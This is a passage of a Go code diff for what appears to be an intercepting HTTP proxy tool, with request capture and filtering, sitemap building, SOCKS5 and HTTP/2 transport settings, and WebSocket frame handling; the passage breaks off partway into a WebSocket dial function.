func tryDecompress(encoding string, body []byte) ([]byte, bool) {
|
||||
enc := strings.ToLower(strings.TrimSpace(encoding))
|
||||
if enc == "" {
|
||||
return body, false
|
||||
}
|
||||
var reader io.ReadCloser
|
||||
var err error
|
||||
switch enc {
|
||||
case "gzip":
|
||||
reader, err = gzip.NewReader(bytes.NewReader(body))
|
||||
case "deflate":
|
||||
reader = flate.NewReader(bytes.NewReader(body))
|
||||
default:
|
||||
return body, false
|
||||
}
|
||||
if err != nil {
|
||||
return body, false
|
||||
}
|
||||
decoded, err := io.ReadAll(reader)
|
||||
reader.Close()
|
||||
if err != nil {
|
||||
return body, false
|
||||
}
|
||||
return decoded, true
|
||||
}
|
||||
|
||||
// dumpResponseSafe emits a Content-Length-framed dump of resp with the supplied
|
||||
// body. It clears chunked transfer encoding so the captured bytes show the
|
||||
// already-decoded body rather than re-encoded chunk markers.
|
||||
func dumpResponseSafe(resp *http.Response, body []byte) []byte {
|
||||
captured := *resp
|
||||
captured.TransferEncoding = nil
|
||||
captured.ContentLength = int64(len(body))
|
||||
captured.Body = io.NopCloser(bytes.NewReader(body))
|
||||
out, _ := httputil.DumpResponse(&captured, true)
|
||||
return out
|
||||
}
|
||||
|
||||
// H2TransportCache provides per-host h2 transport reuse for high-throughput
|
||||
// callers (e.g., the fuzzer).
|
||||
type H2TransportCache struct {
|
||||
mu sync.Mutex
|
||||
transports map[string]*http2.Transport
|
||||
tc *TransportConfig
|
||||
}
|
||||
|
||||
// NewH2TransportCache returns a cache parameterized over the given TransportConfig.
|
||||
func NewH2TransportCache(tc *TransportConfig) *H2TransportCache {
|
||||
return &H2TransportCache{
|
||||
transports: make(map[string]*http2.Transport),
|
||||
tc: tc,
|
||||
}
|
||||
}
|
||||
|
||||
// Get returns a cached or freshly built h2 transport keyed by host.
|
||||
func (c *H2TransportCache) Get(host string) *http2.Transport {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if t, ok := c.transports[host]; ok {
|
||||
return t
|
||||
}
|
||||
t := newH2Transport(c.tc)
|
||||
c.transports[host] = t
|
||||
return t
|
||||
}
|
||||
|
||||
// Close releases all cached transports.
|
||||
func (c *H2TransportCache) Close() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
for _, t := range c.transports {
|
||||
t.CloseIdleConnections()
|
||||
}
|
||||
c.transports = make(map[string]*http2.Transport)
|
||||
}
|
||||
@@ -0,0 +1,432 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"path"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ScopeFunc checks whether a request with the given host, method, and path is in scope.
|
||||
type ScopeFunc func(host, method, path string) bool
|
||||
|
||||
// CapturedRequest holds all data about a proxied HTTP request/response pair.
|
||||
type CapturedRequest struct {
|
||||
ID string `json:"id"`
|
||||
Seq int `json:"seq"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Host string `json:"host"`
|
||||
Protocol string `json:"protocol,omitempty"` // "HTTP/1.1" | "HTTP/2"
|
||||
StatusCode int `json:"statusCode"`
|
||||
ContentType string `json:"contentType,omitempty"`
|
||||
Duration time.Duration `json:"duration"`
|
||||
ResponseSize int `json:"responseSize"`
|
||||
ReqRaw []byte `json:"reqRaw,omitempty"`
|
||||
RespRaw []byte `json:"respRaw,omitempty"`
|
||||
}
|
||||
|
||||
// RequestFilter holds optional filter criteria for listing requests.
|
||||
type RequestFilter struct {
|
||||
Host string
|
||||
Method string
|
||||
Status int
|
||||
Search string
|
||||
Exclude string // comma-separated file extensions, e.g. ".css,.png,.jpg"
|
||||
ExtMode string // "exclude" (default) or "include"
|
||||
ContentType string // simplified content type keyword, e.g. "html", "json", "image"
|
||||
InScopeFunc ScopeFunc // optional: if set, only include requests passing this check
|
||||
Offset int
|
||||
Limit int
|
||||
}
|
||||
|
||||
// Store is a thread-safe in-memory ring buffer of captured requests.
|
||||
type Store struct {
|
||||
mu sync.RWMutex
|
||||
items []*CapturedRequest
|
||||
maxSize int
|
||||
nextSeq int
|
||||
}
|
||||
|
||||
// NewStore creates a Store with the given max capacity (default 5,000).
|
||||
func NewStore(maxSize int) *Store {
|
||||
if maxSize <= 0 {
|
||||
maxSize = 5000
|
||||
}
|
||||
return &Store{
|
||||
items: make([]*CapturedRequest, 0, 256),
|
||||
maxSize: maxSize,
|
||||
}
|
||||
}
|
||||
|
||||
// Add appends a request, evicting the oldest if at capacity.
|
||||
func (s *Store) Add(r *CapturedRequest) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.nextSeq++
|
||||
r.Seq = s.nextSeq
|
||||
if len(s.items) >= s.maxSize {
|
||||
s.items = s.items[1:]
|
||||
}
|
||||
s.items = append(s.items, r)
|
||||
}
|
||||
|
||||
// Get returns the request with the given ID, or nil.
|
||||
func (s *Store) Get(id string) *CapturedRequest {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, r := range s.items {
|
||||
if r.ID == id {
|
||||
return r
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// contentTypeKeywords maps simplified keywords to MIME substrings.
|
||||
var contentTypeKeywords = map[string]string{
|
||||
"html": "text/html",
|
||||
"json": "json",
|
||||
"js": "javascript",
|
||||
"javascript": "javascript",
|
||||
"xml": "xml",
|
||||
"css": "text/css",
|
||||
"image": "image/",
|
||||
"font": "font/",
|
||||
"text": "text/",
|
||||
}
|
||||
|
||||
// List returns a filtered, paginated slice along with the total matching count.
|
||||
func (s *Store) List(f RequestFilter) ([]*CapturedRequest, int) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
|
||||
// Build extensions set if provided.
|
||||
var extSet map[string]struct{}
|
||||
includeMode := strings.EqualFold(f.ExtMode, "include")
|
||||
if f.Exclude != "" {
|
||||
parts := strings.Split(f.Exclude, ",")
|
||||
extSet = make(map[string]struct{}, len(parts))
|
||||
for _, p := range parts {
|
||||
ext := strings.TrimSpace(p)
|
||||
if ext != "" {
|
||||
extSet[strings.ToLower(ext)] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve content type keywords (comma-separated) to MIME substrings.
|
||||
var ctMatches []string
|
||||
if f.ContentType != "" {
|
||||
for _, raw := range strings.Split(f.ContentType, ",") {
|
||||
kw := strings.ToLower(strings.TrimSpace(raw))
|
||||
if kw == "" {
|
||||
continue
|
||||
}
|
||||
if mapped, ok := contentTypeKeywords[kw]; ok {
|
||||
ctMatches = append(ctMatches, mapped)
|
||||
} else {
|
||||
ctMatches = append(ctMatches, kw)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var filtered []*CapturedRequest
|
||||
for _, r := range s.items {
|
||||
if f.Host != "" && r.Host != f.Host {
|
||||
continue
|
||||
}
|
||||
if f.Method != "" && !strings.EqualFold(r.Method, f.Method) {
|
||||
continue
|
||||
}
|
||||
if f.Status != 0 && r.StatusCode != f.Status {
|
||||
continue
|
||||
}
|
||||
if f.Search != "" && !strings.Contains(strings.ToLower(r.URL), strings.ToLower(f.Search)) {
|
||||
continue
|
||||
}
|
||||
if len(extSet) > 0 {
|
||||
if u, err := url.Parse(r.URL); err == nil {
|
||||
ext := strings.ToLower(path.Ext(u.Path))
|
||||
_, found := extSet[ext]
|
||||
if includeMode && !found {
|
||||
continue
|
||||
}
|
||||
if !includeMode && found {
|
||||
continue
|
||||
}
|
||||
} else if includeMode {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if len(ctMatches) > 0 {
|
||||
ct := strings.ToLower(r.ContentType)
|
||||
matched := false
|
||||
for _, m := range ctMatches {
|
||||
if strings.Contains(ct, m) {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !matched {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if f.InScopeFunc != nil {
|
||||
reqPath := "/"
|
||||
if u, err := url.Parse(r.URL); err == nil {
|
||||
reqPath = u.Path
|
||||
}
|
||||
if !f.InScopeFunc(r.Host, r.Method, reqPath) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
filtered = append(filtered, r)
|
||||
}
|
||||
|
||||
total := len(filtered)
|
||||
if f.Offset >= total {
|
||||
return []*CapturedRequest{}, total
|
||||
}
|
||||
|
||||
end := f.Offset + f.Limit
|
||||
if f.Limit <= 0 || end > total {
|
||||
end = total
|
||||
}
|
||||
|
||||
return filtered[f.Offset:end], total
|
||||
}
|
||||
|
||||
// Hosts returns a sorted, deduplicated list of hosts from the ring buffer.
|
||||
func (s *Store) Hosts() []string {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
seen := make(map[string]struct{})
|
||||
for _, r := range s.items {
|
||||
if r.Host != "" {
|
||||
seen[r.Host] = struct{}{}
|
||||
}
|
||||
}
|
||||
hosts := make([]string, 0, len(seen))
|
||||
for h := range seen {
|
||||
hosts = append(hosts, h)
|
||||
}
|
||||
sort.Strings(hosts)
|
||||
return hosts
|
||||
}
|
||||
|
||||
// All returns a copy of all stored requests.
|
||||
func (s *Store) All() []*CapturedRequest {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*CapturedRequest, len(s.items))
|
||||
copy(out, s.items)
|
||||
return out
|
||||
}
|
||||
|
||||
// LoadItems replaces all stored requests with the given items.
|
||||
// If more items are provided than maxSize, only the last maxSize are kept.
|
||||
func (s *Store) LoadItems(items []*CapturedRequest) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.items = s.items[:0]
|
||||
s.nextSeq = 0
|
||||
start := 0
|
||||
if len(items) > s.maxSize {
|
||||
start = len(items) - s.maxSize
|
||||
}
|
||||
for _, r := range items[start:] {
|
||||
s.items = append(s.items, r)
|
||||
if r.Seq > s.nextSeq {
|
||||
s.nextSeq = r.Seq
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// MaxSize returns the current ring buffer capacity.
|
||||
func (s *Store) MaxSize() int {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.maxSize
|
||||
}
|
||||
|
||||
// SetMaxSize updates the ring buffer capacity. If the current number of items
|
||||
// exceeds the new capacity, the oldest items are trimmed.
|
||||
func (s *Store) SetMaxSize(n int) {
|
||||
if n <= 0 {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.maxSize = n
|
||||
if len(s.items) > n {
|
||||
s.items = s.items[len(s.items)-n:]
|
||||
}
|
||||
}
|
||||
|
||||
// SitemapVariant represents a unique query-parameter-name combination
|
||||
// observed for an endpoint, along with the ID of the latest matching request.
|
||||
type SitemapVariant struct {
|
||||
Params []string `json:"params"`
|
||||
RequestID string `json:"requestId"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// SitemapEndpoint represents a unique path within a host.
|
||||
type SitemapEndpoint struct {
|
||||
Path string `json:"path"`
|
||||
Methods []string `json:"methods"`
|
||||
Params []string `json:"params"`
|
||||
Variants []SitemapVariant `json:"variants"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// SitemapHost represents a unique origin (scheme://host:port).
|
||||
type SitemapHost struct {
|
||||
Origin string `json:"origin"`
|
||||
Endpoints []SitemapEndpoint `json:"endpoints"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// Sitemap builds an aggregated site map from all captured requests.
|
||||
// Hosts are keyed by origin (scheme://host:port). Within each host,
|
||||
// endpoints are grouped by path with observed methods and query param names.
|
||||
func (s *Store) Sitemap() []SitemapHost {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
|
||||
type endpointKey struct {
|
||||
origin string
|
||||
path string
|
||||
}
|
||||
|
||||
type variantData struct {
|
||||
paramNames []string
|
||||
requestID string
|
||||
count int
|
||||
}
|
||||
|
||||
type endpointData struct {
|
||||
methods map[string]struct{}
|
||||
params map[string]struct{}
|
||||
variants map[string]*variantData // keyed by joined sorted param names
|
||||
count int
|
||||
}
|
||||
|
||||
hostCounts := make(map[string]int)
|
||||
endpoints := make(map[endpointKey]*endpointData)
|
||||
hostOrder := make(map[string]struct{})
|
||||
|
||||
for _, r := range s.items {
|
||||
u, err := url.Parse(r.URL)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
origin := u.Scheme + "://" + u.Host
|
||||
hostCounts[origin]++
|
||||
hostOrder[origin] = struct{}{}
|
||||
|
||||
key := endpointKey{origin: origin, path: u.Path}
|
||||
ep, ok := endpoints[key]
|
||||
if !ok {
|
||||
ep = &endpointData{
|
||||
methods: make(map[string]struct{}),
|
||||
params: make(map[string]struct{}),
|
||||
variants: make(map[string]*variantData),
|
||||
}
|
||||
endpoints[key] = ep
|
||||
}
|
||||
ep.count++
|
||||
ep.methods[r.Method] = struct{}{}
|
||||
|
||||
// Collect sorted param names for this request.
|
||||
qp := u.Query()
|
||||
paramNames := make([]string, 0, len(qp))
|
||||
for param := range qp {
|
||||
ep.params[param] = struct{}{}
|
||||
paramNames = append(paramNames, param)
|
||||
}
|
||||
sort.Strings(paramNames)
|
||||
variantKey := strings.Join(paramNames, ",")
|
||||
|
||||
v, ok := ep.variants[variantKey]
|
||||
if !ok {
|
||||
v = &variantData{paramNames: paramNames}
|
||||
ep.variants[variantKey] = v
|
||||
}
|
||||
v.count++
|
||||
v.requestID = r.ID // latest wins
|
||||
}
|
||||
|
||||
// Collect and sort hosts.
|
||||
hosts := make([]SitemapHost, 0, len(hostOrder))
|
||||
for origin := range hostOrder {
|
||||
hosts = append(hosts, SitemapHost{
|
||||
Origin: origin,
|
||||
Count: hostCounts[origin],
|
||||
})
|
||||
}
|
||||
sort.Slice(hosts, func(i, j int) bool {
|
||||
return hosts[i].Origin < hosts[j].Origin
|
||||
})
|
||||
|
||||
// Attach endpoints to each host.
|
||||
for i := range hosts {
|
||||
origin := hosts[i].Origin
|
||||
var eps []SitemapEndpoint
|
||||
for key, data := range endpoints {
|
||||
if key.origin != origin {
|
||||
continue
|
||||
}
|
||||
methods := make([]string, 0, len(data.methods))
|
||||
for m := range data.methods {
|
||||
methods = append(methods, m)
|
||||
}
|
||||
sort.Strings(methods)
|
||||
|
||||
params := make([]string, 0, len(data.params))
|
||||
for p := range data.params {
|
||||
params = append(params, p)
|
||||
}
|
||||
sort.Strings(params)
|
||||
|
||||
// Build sorted variants list.
|
||||
variants := make([]SitemapVariant, 0, len(data.variants))
|
||||
for _, vd := range data.variants {
|
||||
variants = append(variants, SitemapVariant{
|
||||
Params: vd.paramNames,
|
||||
RequestID: vd.requestID,
|
||||
Count: vd.count,
|
||||
})
|
||||
}
|
||||
sort.Slice(variants, func(a, b int) bool {
|
||||
return strings.Join(variants[a].Params, ",") < strings.Join(variants[b].Params, ",")
|
||||
})
|
||||
|
||||
eps = append(eps, SitemapEndpoint{
|
||||
Path: key.path,
|
||||
Methods: methods,
|
||||
Params: params,
|
||||
Variants: variants,
|
||||
Count: data.count,
|
||||
})
|
||||
}
|
||||
sort.Slice(eps, func(a, b int) bool {
|
||||
return eps[a].Path < eps[b].Path
|
||||
})
|
||||
hosts[i].Endpoints = eps
|
||||
}
|
||||
|
||||
return hosts
|
||||
}
|
||||
|
||||
// Clear removes all stored requests.
|
||||
func (s *Store) Clear() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.items = s.items[:0]
|
||||
s.nextSeq = 0
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/net/proxy"
|
||||
)
|
||||
|
||||
// TransportConfig manages HTTP transport settings (HTTP/2, keep-alive, SOCKS)
|
||||
// and rebuilds the shared transport when settings change.
|
||||
type TransportConfig struct {
|
||||
mu sync.RWMutex
|
||||
http2Enabled bool
|
||||
keepAlive bool
|
||||
|
||||
socksHost string
|
||||
socksPort int
|
||||
socksUsername string
|
||||
socksPassword string
|
||||
socksDNS bool
|
||||
|
||||
transport *http.Transport
|
||||
}
|
||||
|
||||
// NewTransportConfig creates a TransportConfig with defaults: HTTP/2 enabled, keep-alive disabled.
|
||||
func NewTransportConfig() *TransportConfig {
|
||||
tc := &TransportConfig{
|
||||
http2Enabled: true,
|
||||
keepAlive: false,
|
||||
}
|
||||
tc.transport = tc.buildTransport()
|
||||
return tc
|
||||
}
|
||||
|
||||
// Transport returns the current cached transport.
|
||||
func (tc *TransportConfig) Transport() *http.Transport {
|
||||
tc.mu.RLock()
|
||||
defer tc.mu.RUnlock()
|
||||
return tc.transport
|
||||
}
|
||||
|
||||
// HTTP2 returns whether HTTP/2 upstream is enabled.
|
||||
func (tc *TransportConfig) HTTP2() bool {
|
||||
tc.mu.RLock()
|
||||
defer tc.mu.RUnlock()
|
||||
return tc.http2Enabled
|
||||
}
|
||||
|
||||
// KeepAlive returns whether keep-alive is enabled.
|
||||
func (tc *TransportConfig) KeepAlive() bool {
|
||||
tc.mu.RLock()
|
||||
defer tc.mu.RUnlock()
|
||||
return tc.keepAlive
|
||||
}
|
||||
|
||||
// SOCKS returns the current SOCKS proxy settings.
|
||||
func (tc *TransportConfig) SOCKS() (host string, port int, username, password string, dns bool) {
|
||||
tc.mu.RLock()
|
||||
defer tc.mu.RUnlock()
|
||||
return tc.socksHost, tc.socksPort, tc.socksUsername, tc.socksPassword, tc.socksDNS
|
||||
}
|
||||
|
||||
// SetHTTP2 enables or disables HTTP/2 upstream negotiation.
|
||||
func (tc *TransportConfig) SetHTTP2(enabled bool) {
|
||||
tc.mu.Lock()
|
||||
defer tc.mu.Unlock()
|
||||
if tc.http2Enabled == enabled {
|
||||
return
|
||||
}
|
||||
tc.http2Enabled = enabled
|
||||
tc.transport = tc.buildTransport()
|
||||
}
|
||||
|
||||
// SetKeepAlive enables or disables TCP connection reuse.
|
||||
func (tc *TransportConfig) SetKeepAlive(enabled bool) {
|
||||
tc.mu.Lock()
|
||||
defer tc.mu.Unlock()
|
||||
if tc.keepAlive == enabled {
|
||||
return
|
||||
}
|
||||
tc.keepAlive = enabled
|
||||
tc.transport = tc.buildTransport()
|
||||
}
|
||||
|
||||
// SetSOCKS configures an upstream SOCKS5 proxy. Pass empty host to disable.
|
||||
func (tc *TransportConfig) SetSOCKS(host string, port int, username, password string, dns bool) {
|
||||
tc.mu.Lock()
|
||||
defer tc.mu.Unlock()
|
||||
tc.socksHost = host
|
||||
tc.socksPort = port
|
||||
tc.socksUsername = username
|
||||
tc.socksPassword = password
|
||||
tc.socksDNS = dns
|
||||
tc.transport = tc.buildTransport()
|
||||
}
|
||||
|
||||
// SOCKSDialContext returns a DialContext function that routes through the SOCKS proxy,
|
||||
// or nil if no SOCKS proxy is configured. Used by tunnel() and NewHTTPClient().
|
||||
func (tc *TransportConfig) SOCKSDialContext() func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||
tc.mu.RLock()
|
||||
defer tc.mu.RUnlock()
|
||||
if tc.socksHost == "" {
|
||||
return nil
|
||||
}
|
||||
return tc.buildSOCKSDialContext()
|
||||
}
|
||||
|
||||
// buildSOCKSDialContext creates a SOCKS5 dial function. Caller must hold at least RLock.
|
||||
func (tc *TransportConfig) buildSOCKSDialContext() func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||
addr := fmt.Sprintf("%s:%d", tc.socksHost, tc.socksPort)
|
||||
var auth *proxy.Auth
|
||||
if tc.socksUsername != "" {
|
||||
auth = &proxy.Auth{User: tc.socksUsername, Password: tc.socksPassword}
|
||||
}
|
||||
|
||||
if tc.socksDNS {
|
||||
// Let the SOCKS proxy resolve DNS - dial with hostname.
|
||||
dialer, err := proxy.SOCKS5("tcp", addr, auth, proxy.Direct)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if cd, ok := dialer.(proxy.ContextDialer); ok {
|
||||
return cd.DialContext
|
||||
}
|
||||
return func(ctx context.Context, network, a string) (net.Conn, error) {
|
||||
return dialer.Dial(network, a)
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve DNS locally, then dial through SOCKS with the IP.
|
||||
dialer, err := proxy.SOCKS5("tcp", addr, auth, proxy.Direct)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return func(ctx context.Context, network, a string) (net.Conn, error) {
|
||||
host, port, err := net.SplitHostPort(a)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ips, err := net.DefaultResolver.LookupHost(ctx, host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resolved := net.JoinHostPort(ips[0], port)
|
||||
if cd, ok := dialer.(proxy.ContextDialer); ok {
|
||||
return cd.DialContext(ctx, network, resolved)
|
||||
}
|
||||
return dialer.Dial(network, resolved)
|
||||
}
|
||||
}
|
||||
|
||||
func (tc *TransportConfig) buildTransport() *http.Transport {
|
||||
t := &http.Transport{
|
||||
ForceAttemptHTTP2: tc.http2Enabled,
|
||||
DisableKeepAlives: !tc.keepAlive,
|
||||
DisableCompression: true,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //nolint:gosec
|
||||
TLSHandshakeTimeout: 10 * time.Second,
|
||||
ResponseHeaderTimeout: 30 * time.Second,
|
||||
IdleConnTimeout: 90 * time.Second,
|
||||
}
|
||||
if tc.socksHost != "" {
|
||||
t.DialContext = tc.buildSOCKSDialContext()
|
||||
}
|
||||
return t
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// WebSocket opcodes per RFC 6455.
|
||||
const (
|
||||
wsOpContinuation = 0x0
|
||||
wsOpText = 0x1
|
||||
wsOpBinary = 0x2
|
||||
wsOpClose = 0x8
|
||||
wsOpPing = 0x9
|
||||
wsOpPong = 0xA
|
||||
)
|
||||
|
||||
const wsMaxPayloadSize = 16 << 20 // 16MB sanity limit
|
||||
|
||||
// WSFrame represents a single WebSocket frame.
|
||||
type WSFrame struct {
|
||||
FIN bool
|
||||
Opcode byte
|
||||
Masked bool
|
||||
Payload []byte
|
||||
}
|
||||
|
||||
// IsControl returns true for close/ping/pong frames.
|
||||
func (f *WSFrame) IsControl() bool {
|
||||
return f.Opcode >= wsOpClose
|
||||
}
|
||||
|
||||
// ReadFrame reads a single WebSocket frame from r.
|
||||
func ReadFrame(r io.Reader) (*WSFrame, error) {
|
||||
header := make([]byte, 2)
|
||||
if _, err := io.ReadFull(r, header); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
f := &WSFrame{
|
||||
FIN: header[0]&0x80 != 0,
|
||||
Opcode: header[0] & 0x0F,
|
||||
Masked: header[1]&0x80 != 0,
|
||||
}
|
||||
|
||||
payloadLen := uint64(header[1] & 0x7F)
|
||||
switch payloadLen {
|
||||
case 126:
|
||||
ext := make([]byte, 2)
|
||||
if _, err := io.ReadFull(r, ext); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
payloadLen = uint64(binary.BigEndian.Uint16(ext))
|
||||
case 127:
|
||||
ext := make([]byte, 8)
|
||||
if _, err := io.ReadFull(r, ext); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
payloadLen = binary.BigEndian.Uint64(ext)
|
||||
}
|
||||
|
||||
if payloadLen > wsMaxPayloadSize {
|
||||
return nil, fmt.Errorf("websocket frame too large: %d bytes", payloadLen)
|
||||
}
|
||||
|
||||
var maskKey [4]byte
|
||||
if f.Masked {
|
||||
if _, err := io.ReadFull(r, maskKey[:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
f.Payload = make([]byte, payloadLen)
|
||||
if payloadLen > 0 {
|
||||
if _, err := io.ReadFull(r, f.Payload); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// Unmask in-place.
|
||||
if f.Masked {
|
||||
for i := range f.Payload {
|
||||
f.Payload[i] ^= maskKey[i%4]
|
||||
}
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// WriteFrame writes a WebSocket frame to w. If masked is true, a random mask is applied.
|
||||
func WriteFrame(w io.Writer, f *WSFrame, masked bool) error {
|
||||
var header [2]byte
|
||||
if f.FIN {
|
||||
header[0] |= 0x80
|
||||
}
|
||||
header[0] |= f.Opcode & 0x0F
|
||||
|
||||
payloadLen := len(f.Payload)
|
||||
if masked {
|
||||
header[1] |= 0x80
|
||||
}
|
||||
|
||||
switch {
|
||||
case payloadLen <= 125:
|
||||
header[1] |= byte(payloadLen)
|
||||
if _, err := w.Write(header[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
case payloadLen <= 65535:
|
||||
header[1] |= 126
|
||||
if _, err := w.Write(header[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
ext := make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(ext, uint16(payloadLen))
|
||||
if _, err := w.Write(ext); err != nil {
|
||||
return err
|
||||
}
|
||||
default:
|
||||
header[1] |= 127
|
||||
if _, err := w.Write(header[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
ext := make([]byte, 8)
|
||||
binary.BigEndian.PutUint64(ext, uint64(payloadLen))
|
||||
if _, err := w.Write(ext); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if masked {
|
||||
var maskKey [4]byte
|
||||
readRand(maskKey[:])
|
||||
if _, err := w.Write(maskKey[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
masked := make([]byte, payloadLen)
|
||||
for i, b := range f.Payload {
|
||||
masked[i] = b ^ maskKey[i%4]
|
||||
}
|
||||
_, err := w.Write(masked)
|
||||
return err
|
||||
}
|
||||
|
||||
_, err := w.Write(f.Payload)
|
||||
return err
|
||||
}
|
||||
|
||||
// isWebSocketUpgrade checks if an HTTP request is a WebSocket upgrade.
|
||||
func isWebSocketUpgrade(r *http.Request) bool {
|
||||
return strings.EqualFold(r.Header.Get("Upgrade"), "websocket") &&
|
||||
strings.Contains(strings.ToLower(r.Header.Get("Connection")), "upgrade")
|
||||
}
|
||||
@@ -0,0 +1,386 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ManipulateWSState is the lifecycle state of a ManipulateWSSession.
|
||||
type ManipulateWSState int32
|
||||
|
||||
const (
|
||||
ManipulateWSConnecting ManipulateWSState = iota
|
||||
ManipulateWSOpen
|
||||
ManipulateWSClosed
|
||||
)
|
||||
|
||||
// ManipulateWSFrameCallback is invoked once per complete incoming message.
|
||||
// Sent frames are reported via the same callback so the UI can render a
|
||||
// unified transcript.
|
||||
type ManipulateWSFrameCallback func(direction string, opcode byte, payload []byte, ts time.Time)
|
||||
|
||||
// ManipulateWSCloseCallback is invoked exactly once when the session closes,
|
||||
// either due to remote close, read error, or a call to Close.
|
||||
type ManipulateWSCloseCallback func(reason string)
|
||||
|
||||
// ManipulateWSSession is a client-initiated WebSocket connection whose raw
|
||||
// upgrade handshake was authored by the user. Frames are sent on demand via
|
||||
// Send; incoming frames are reassembled across continuations and delivered
|
||||
// via the session's onFrame callback.
|
||||
type ManipulateWSSession struct {
|
||||
ID string
|
||||
URL string
|
||||
createdAt time.Time
|
||||
|
||||
conn net.Conn
|
||||
state atomic.Int32
|
||||
|
||||
writeMu sync.Mutex
|
||||
|
||||
onFrame ManipulateWSFrameCallback
|
||||
onClose ManipulateWSCloseCallback
|
||||
|
||||
closeOnce sync.Once
|
||||
closeErr error
|
||||
}
|
||||
|
||||
// State returns the current lifecycle state.
|
||||
func (s *ManipulateWSSession) State() ManipulateWSState {
|
||||
return ManipulateWSState(s.state.Load())
|
||||
}
|
||||
|
||||
// ManipulateWSManager tracks active user-driven WS sessions.
|
||||
type ManipulateWSManager struct {
|
||||
mu sync.RWMutex
|
||||
sessions map[string]*ManipulateWSSession
|
||||
transport *TransportConfig
|
||||
}
|
||||
|
||||
// NewManipulateWSManager returns a manager. transport may be nil, in which
|
||||
// case plain net.Dial / tls.Dial are used.
|
||||
func NewManipulateWSManager(transport *TransportConfig) *ManipulateWSManager {
|
||||
return &ManipulateWSManager{
|
||||
sessions: make(map[string]*ManipulateWSSession),
|
||||
transport: transport,
|
||||
}
|
||||
}
|
||||
|
||||
// Get returns a session by ID or nil.
|
||||
func (m *ManipulateWSManager) Get(id string) *ManipulateWSSession {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.sessions[id]
|
||||
}
|
||||
|
||||
// Dial opens a WebSocket connection to host using the exact rawUpgrade bytes
|
||||
// supplied by the user (with a best-effort Sec-WebSocket-Key fill-in if the
|
||||
// header is missing). It returns the session (open and reading in the
|
||||
// background), the raw upgrade response bytes, and an error.
|
||||
//
|
||||
// On non-101 response, the error is non-nil but rawResp is still populated so
|
||||
// the caller can show the server's rejection in the UI.
|
||||
func (m *ManipulateWSManager) Dial(
|
||||
rawUpgrade []byte,
|
||||
scheme, host string,
|
||||
onFrame ManipulateWSFrameCallback,
|
||||
onClose ManipulateWSCloseCallback,
|
||||
) (*ManipulateWSSession, []byte, error) {
|
||||
